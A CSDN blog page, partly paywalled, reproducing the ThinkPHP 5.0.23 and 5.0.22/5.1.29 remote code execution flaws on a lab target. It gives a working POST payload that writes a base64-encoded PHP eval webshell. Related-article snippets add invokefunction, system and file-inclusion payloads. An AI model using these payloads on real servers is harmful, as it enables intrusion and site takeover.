复现ThinkPHP5 5.0.23远程代码执行漏洞 Thinkphp5 5.0.22/5.1.29远程代码执行漏洞

最新推荐文章于 2024-08-15 00:33:53 发布
最新推荐文章于 2024-08-15 00:33:53 发布
阅读量594 收藏 1
点赞数
CC 4.0 BY-SA版权
文章标签： php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/wanghao200108/article/details/124128491
本文详细介绍了ThinkPHP5版本5.0.23和5.0.22/5.1.29存在的远程代码执行漏洞。通过发送特定的POST请求，可以触发系统命令执行，例如写入Webshell文件。利用方法包括编码木马并解码，以及调用系统函数获取系统信息。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

ThinkPHP5 5.0.23远程代码执行漏洞

在这里插入图片描述
http://159.75.16.25:8089/index.php?s=captcha会出现如下报错
在这里插入图片描述
F12进入开发者 用HackBar 插件发送 POST 请求
在这里插入图片描述
得到回显：
在这里插入图片描述
通过echo命令写入 Webshell 文件
首先将一句话木马进行 Base64 编码
在这里插入图片描述
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2FhYSddKSA/PmJi | base64 -d > shell.php
访问shell.Php

最低0.47元/天 解锁文章

200万优质内容无限畅学
记录笔记
关注
Thinkphp V5.X 远程代码执行漏洞 - POC（精：集群5.0*、5.1*、5.2*）
墨痕诉清风的博客
11-07 4672
官方公告:1、2、POC：批量检测单个检测。
ThinkPHP5远程代码执行（CNVD-2018-24942）
ANOrange的博客
04-03 776
ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测，攻击者利用该漏洞对目标网站进行远程命令执行攻击。本文包含POC和ThinkPHP漏洞利用工具
Thinkphp5 5.0.22/5.1.29 远程代码执行漏洞
Snowflake1997的博客
03-09 5677
漏洞描述 ThinkPHP是一款运用极广的PHP开发框架。其版本5中，由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行漏洞。 影响范围 5.0 5.1 复现过程 这里使用5.0.20版本 使用vulhub cd /vulhub/thinkphp/5-rce 进入 docker-compose up -d 启动 访问 /index.php?s=/Index/\think\app/invokefunction&a..
ThinkPHP5远程代码执行高危漏洞(附:升级修复解决方法)
dabao87的博客
12-12 2万+
漏洞描述 由于ThinkPHP5框架对控制器名没有进行足够的安全检测，导致在没有开启强制路由的情况下，黑客构造特定的请求，可直接GetWebShell。 漏洞评级 严重 影响版本 ThinkPHP 5.0系列 < 5.0.23 ThinkPHP 5.1系列 < 5.1.31 安全版本 ThinkPHP 5.0系列 5.0.23 ThinkPHP 5.1系列 5.1.31 ...
ThinkPHP5 5.0.23 远程代码执行漏洞
最新发布
Yk_GSDN的博客
08-15 554
使用burpsuite抓包软件抓包。2、访问靶机ip+端口号8080。将 GET传参改为POST传参。
复现ThinkPHP5 5.0.23远程代码执行漏洞
NLXHBM的博客
04-15 495
搜索ThinkPHP5.0.23相关漏洞 2. 发现了 5.0.23Remote Code Execution（远程代码执行漏洞） 将该漏洞cp到tp.txt文件并查看 3.burpsuite进行抓包 4.执行命令 5. 写入phpinfo: `echo "<?php phpinfo(); ?>" > /var/www/public/phpinfo.php` 6.查看是否写入： 7.访问http://159.75.16.25:8...
Thinkphp5.0.23远程代码执行漏洞复现
02-01 2187
Thinkphp5.0.23远程代码执行漏洞介绍、成因和复现。
复现Thinkphp5 5.0.22/5.1.29远程代码执行漏洞
weixin_67813445的博客
03-15 796
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。
thinkphp5 5.0.22/5.1.29远程代码执行漏洞
weixin_45653478的博客
04-27 1363
ThinkPHP是中国使用极为广泛的PHP开发框架。在其版本 5 中，由于框架错误地处理了控制器名称，如果网站未启用强制路由（默认），它可以执行任何方法，从而导致 RCE 漏洞。
ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
城南以南花亦开
09-16 525
在 ThinkPHP 版本 5 中由于框架没有对控制器名进行正确检测处理从而导致的远程命令执行漏洞。
【web攻防】ThinkPHP5.0.23 远程代码执行漏洞，Thinkphp5.0.22/5.1.29远程代码执行漏洞 （Remote Code Execution）安鸾靶场练习
AAAAAAAAAAAA66的博客
12-30 2338
中华人民共和国网络安全法(出版物)_360百科中华人民共和国网络安全法,《中华人民共和国网络安全法》是为保障网络安全，维护网络空间主权和国家安全、社会公共利益，保护公民、法人和其他组织的合法权益，促进经济社会信息化健康发展而制定的法律。《中华人民共和国网络安全法》由中华人民共和国第十二届全国人民代表大会常务委员会第二十四次会议于2016年11月7日通过，自2017年6月1日起施行。https://baike.so.com/doc/24210940-24838928.html 目录 靶场地址 Thi
Thinkphp5 5.0.22/5.1.29远程代码执行漏洞复现
weixin_52347768的博客
03-28 4675
远程代码执行漏洞作用： 攻击者向后台服务器远程注入操作系统命令或者代码，进而控制后台系统 远程代码执行漏洞的原理： 由于部分应用系统从设计上需要给用户提供指定的远程命令操作的接口，如果没有做严格的安全控制，可能会导致攻击者通过该接口提交恶意的命令，从而让后台进行执行，从而控制整个后台服务器。 由于需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 启动环境，访问http://159.75.16.25:8087,看到启动界面 进行复现，poc： /i
ThinkPHP 5.1.x远程命令执行漏洞利用， 参考POC
weixin_35771144的博客
02-28 2063
　　thinkphp5.1.1为例 1、代码执行: http://192.168.0.108/public//index.php?s=index/\think\Request/input&filter=phpinfo&data=1 2、命令执行: http://192.168.0.108/public//index.php?s=index/\think...
ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞
热门推荐
SoulCat
01-27 3万+
ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程代码执行漏洞 漏洞概述: ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架。借鉴Struts框架的Action对象，同时也使用面向对象的开发结构和MVC模式。1月11日，ThinkPHP官方发布新版本5.0.24，在1月14日和15日发布两个更新，这几次更新都修复了远程代码执行漏洞，对于5.0.x、5.1.x、5....
Thinkphp5.0.0~5.0.23版本远程代码执行漏洞导致网站被挂马
m0_37360803的博客
03-11 1895
最近发现多个Thinkphp5开发的网站被挂马，导致首页被篡改，其他页面无法正常访问的情况。 木马中均包含以下代码： define(‘Viv, bebegim.’,‘Denzel-你的英雄’)； 经过检查，这些攻击是利用了Thinkphp5.0.0~5.0.23版本远程进行代码调用的漏洞进行的getshell。 漏洞的详细原理参见：https://seaii-blog.com/index.php/...
thinkphp5的漏洞
https://www.cnblogs.com/zpchcbd/
04-10 1415
文件包含： http://ip/index.php?s=captcha&m=1 post提交： _method=__construct&filter[]=think__include_file&get[]=/home/www/test3/public/1.txt&method=get&server[]= 代码执行漏洞： http://bugbank.51vi...
ThinkPHP框架漏洞
qian_227的博客
06-25 297
在ThinkPHP5.0版本表单请求类型伪装中，通过$_POST['_method']来传递真实的请求方法，攻击者可以通过POST传递_method=__construct来对Request类的method方法进行覆盖。s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令参数。{ii}远程命令注入： 由于没有开启强制路由，未对路由的控制器进行过滤，导致远程命令执行。
thinkphp漏洞_ThinkPHP5.0 远程代码执行漏洞
weixin_39634579的博客
11-25 283
漏洞介绍ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源MVC框架，简单来说就是Thinkphp处理请求的关键类为Request(thinkphp/library/think/Request.php这个类可以处理http请求设置但此框架支持表单伪装变量，通过伪装变量实现任意函数的调用影响版本5.0全版本复现环境Vulhub漏洞靶场vulhub-master/thinkphp...
ThinkPHP 框架出现安全隐患 ，导致网站被持续攻击一周
01-11 539
导读 据 ZDNET 报道，有超过 45000 个中国网站由于使用 ThinkPHP 框架受到了攻击。 这些攻击针对的是使用 ThinkPHP 构建的网站，ThinkPHP 是一个中国的 PHP 框架，在中国 Web 开发领域非常受欢迎。 所有攻击都是在中国网络公司 VulnSpy 在 ExploitDB 上发布了 ThinkPHP 的漏洞后开始的，这是一个...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值